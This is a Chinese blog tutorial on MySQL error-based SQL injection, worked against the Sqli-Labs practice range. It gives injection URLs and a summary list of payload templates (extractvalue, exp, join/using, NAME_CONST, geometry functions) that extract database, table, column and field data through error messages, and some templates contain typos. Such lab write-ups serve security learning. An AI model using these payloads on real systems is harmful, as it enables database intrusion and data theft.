基于Sqli-Labs靶场的报错注入合集(以第五关为例子)

        在之前的博客中我总共介绍了两种报错注入类型,这里就不再赘述了。这篇博客中我把目前我知道的报错注入类型都介绍一遍。

目录

exp() 函数报错注入讲解

爆破当前数据库名

Extractvalue() 函数报错注入讲解

爆破当前数据库名

爆破当前数据库的表名 

爆破表中的列名 

爆破字段值 

join语句报错注入讲解

爆破表emails中的列名

通过NAME_CONST(name,value)报错注入

通过GeometryCollection()报错注入

其余不常见的报错注入

报错注入总结

什么是报错注入

报错注入类型汇总


exp() 函数报错注入讲解


        exp() 函数含义:

        函数返回 e 指定数字的幂,例如 exp(x) 就是返回 e 的x次方。具体学习链接:MySQL EXP() 函数 (w3schools.cn)

        报错原理:

        我们知道在Mysql中有一种错误叫做“溢出错误”,就是数值太大导致的数值溢出从而报错,如果有编程基础的同学应该了解过这个错误,在C语言中就经常会出现“溢出错误”,尤其指针那块,不知道你们遇到过没有,反正我当时经常遇到这种错误。言归正传,我们这里利用的就是 exp() 函数的溢出错误。由于数字太大是会产生溢出,在 Mysql 中当给 exp() 函数传递一个大于709的值时,函数exp()就会引起一个溢出错误。

        我们可以输入SQL语句进行测试一下,看看报错内容:

select exp(710);

        报错信息如下:

        可以看到报错“double类型数值溢出”的错误,这就是我们要利用的漏洞。 

        在Mysql中,当一条语句顺利执行完成后会返回0,而对0取反的话会得到一个特别大的数值“18446744073709551615”,显然这个数超过了溢出临界值710,如果我们把它传给 exp() 函数那么必定会产生报错,这就是我们创造报错的原理。

        创造该错误的基本语句格式:

        exp(~(select * from (注入代码) a))    这里 '~' 是取反的意思,a 是取别名的意思。

爆破当前数据库名

        输入语句:

?id=1' and (exp(~(select * from (select database()) a)))

        页面回显:

        可以看到页面回显已经报了溢出错误了,但是页面没有回显出来我们想要的数据,可能是该bug修复了,但是这种报错方式我们可以了解一下,日后说不准可以用得上。这里爆破其他数据就不赘述了,因为爆不出来的我都试过了哈哈哈,有知道怎么能使用 exp() 函数报错爆破数据的希望可以私聊我一下,我学习学习。 

Extractvalue() 函数报错注入讲解


        Extractvalue(XML_document, XPath_string) 函数含义:

        对XML文档进行查询的函数,使用xpath符号从xml字符串中提取值。
        第一个参数:XML_document是String格式,为XML文档对象的名称
        第二个参数:XPath_string (Xpath格式的字符串)

        报错原理:

        SELECT ExtractValue('<a><b><b/></a>', '/a/b');    这是正确的语句
        第二个参数 xml中的位置是我们编写注入语句的地方,xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式进行查找的,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们要爆破的数据。

        约束条件:

        输出字符长度限制为32个字符。所以需要使用 limit 语句进行限制。

        创造该错误的基本语句格式:

        extractvalue(1,concat(0x7e,(注入代码)))

爆破当前数据库名

        输入语句:

?id=1' and extractvalue(1,concat(0x7e,(select database()))) --+

        页面回显:

        可以看到当前数据库的名字已经出现到报错信息中了。爆破成功。

爆破当前数据库的表名 

        输入语句:

?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) --+

        页面回显:

        可以看到页面已经根据我的限制将第一个表的表名爆破出来了。其余表名只需要替换限制条件即可。这里不在讲解。

爆破表中的列名 

        输入语句:

?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) --+

        页面回显:

        可以看到页面根据我的限制回显出了表 'emails' 中的第一个列名。

        爆破字段值 

        输入语句:

?id=1' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) --+

        页面回显:

        可以看到页面根据我的限制爆出了字段值。

        Extractvalue() 函数报错注入讲解完毕!如有错误,请及时指正,谢谢!

join语句报错注入讲解


        join语句用法:join语句为连接语句,具体用法见链接

        MySQL 连接的使用 | 菜鸟教程 (runoob.com)

        using关键字的概念

        连接查询时如果是同名字段作为连接条件,using可以代替on出现(比on更好)
        using是针对同名字段(using(id)===on A.id=B.id)
        using关键字使用后会自动合并对应字段为一个
        using可以同时使用多个字段作为条件

        创造该错误的基本语句格式:

        and(select * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c))
        如果不知道任何一个字段名就不用写,会自动爆出第一个字段名字,之后写一个字段名报第二个,写两个报第三个,以此类推。

        约束条件:

        只能爆破列名,并且爆破前必须知道该列所属的表名

爆破表emails中的列名

        这里我就拿表 'emails' 来作为例子,假设我们之前通关其他方法爆破出了表 'emails' ,我们接下来爆破第一个列名:

        输入语句:

?id=1' and (select * from (select * from emails a join emails b) c) --+

        页面回显: 

        可以看到第一列的名字已经爆破出来了。

        爆破第二列的列名,输入语句:

?id=1' and (select * from (select * from emails a join emails b using(id)) c) --+

        页面回显:

        可以看到第二列的名字也爆出来了。 

        join语句报错注入讲解完毕。如有错误,请及时指正,谢谢!

通过NAME_CONST(name,value)报错注入


        NAME_CONST(name,value)函数解析:

        返回给定的值。用于生成结果集列时,NAME_CONST() 会导致该列具有给定名称。参数应该是常量。

        报错原理:

        mysql列名重复会导致报错,通过name_const制造一个列,我们可以利用mysql列名重复会导致报错这个原理配合join函数得到列名。

        约束条件:

        1、查询的内容需是定值

        2、该功能仅供内部使用,一般用户没有权利使用该功能。

         创造该错误的基本语句格式:

        and exists(select * from (select * from(select name_const(注入代码,0)) a join (select name_const(注入代码,0)) b)c)

通过GeometryCollection()报错注入


        GeometryCollection()函数解析: MySql 中文文档 - 12.16.7.5 GeometryCollection 属性函数 | Docs4dev

        报错原理:

        由于MYSQL无法用这样字符串画出图形,所以报错。 

        约束条件:

        5.5<mysql版本<5.6

        创造该错误的基本语句格式:

        and geometrycollection((select * from(select * from (注入代码)a)b))

其余不常见的报错注入


1. 通过polygon ()报错,注入语句如下:

        and polygon ((注入代码)select * from(select user (注入代码))a)b );

2. 通过multipoint ()报错,注入语句如下:

        and multipoint ((注入代码)select * from(select user(注入代码) )a)b );

3. 通过multlinestring ()报错,注入语句如下:

        and multlinestring ((注入代码)select * from(selectuser (注入代码) )a)b );

4. 通过multpolygon ()报错,注入语句如下:

        and multpolygon ((注入代码)select * from(selectuser (注入代码) )a)b );

5. 通过linestring ()报错,注入语句如下:

        and linestring ((注入代码)select * from(select user(注入代码) )a)b );

报错注入总结


什么是报错注入

        报错注入是通过特殊函数的错误使用从而导致报错,并使其输出错误结果来获取信息的。简单点说,就是在注入点调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息 (我们要的信息就包含在页面的报错信息中)。

报错注入类型汇总

1. 双查询注入( floor() 报错)

        union select 1,count(*),concat(0x7e,(注入代码),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a

2. updatexml()函数报错注入

        and updatexml(1,concat(0x7e,(注入代码)),3) 

3. exp() 函数报错注入

        exp(~(select * from (注入代码) a)) 

4. Extractvalue() 函数报错注入

        extractvalue(1,concat(0x7e,(注入代码)))

5. join语句报错注入

        and(select * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c))

6. NAME_CONST(name,value)报错注入

        and exists(select * from (select * from(select name_const(注入代码,0)) a join (select name_const(注入代码,0)) b)c)

7. GeometryCollection()报错注入

        and geometrycollection((select * from(select * from (注入代码)a)b))

8. polygon()报错注入

        and polygon ((注入代码)select * from(select user (注入代码))a)b )

9. multipoint()报错注入

        and multipoint ((注入代码)select * from(select user(注入代码) )a)b )

10. multlinestring()报错注入

        and multlinestring ((注入代码)select * from(selectuser (注入代码) )a)b )

11.multpolygon()报错注入

        and multpolygon ((注入代码)select * from(selectuser (注入代码) )a)b )

12. linestring()报错注入

        and linestring ((注入代码)select * from(select user(注入代码) )a)b )

        至此报错注入讲解结束了。感谢观看,如有错误请及时指正,谢谢!

 

        

        

       

 

 

        

         

 

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Alan_Mikasan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值